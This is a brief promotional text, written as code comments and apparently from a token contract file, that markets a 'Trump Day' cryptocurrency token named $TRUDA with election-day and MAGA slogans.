// Today’s the day – it’s Trump Day! The power is back in the hands of the people, and there’s no better time to celebrate the spirit of democracy and freedom than with the Trump Day token $TRUDA.

// As Americans head to the polls, we’re reminded of the core values that TRUDA represents – strength, resilience, and the voice of the people. MAGA is finally here.
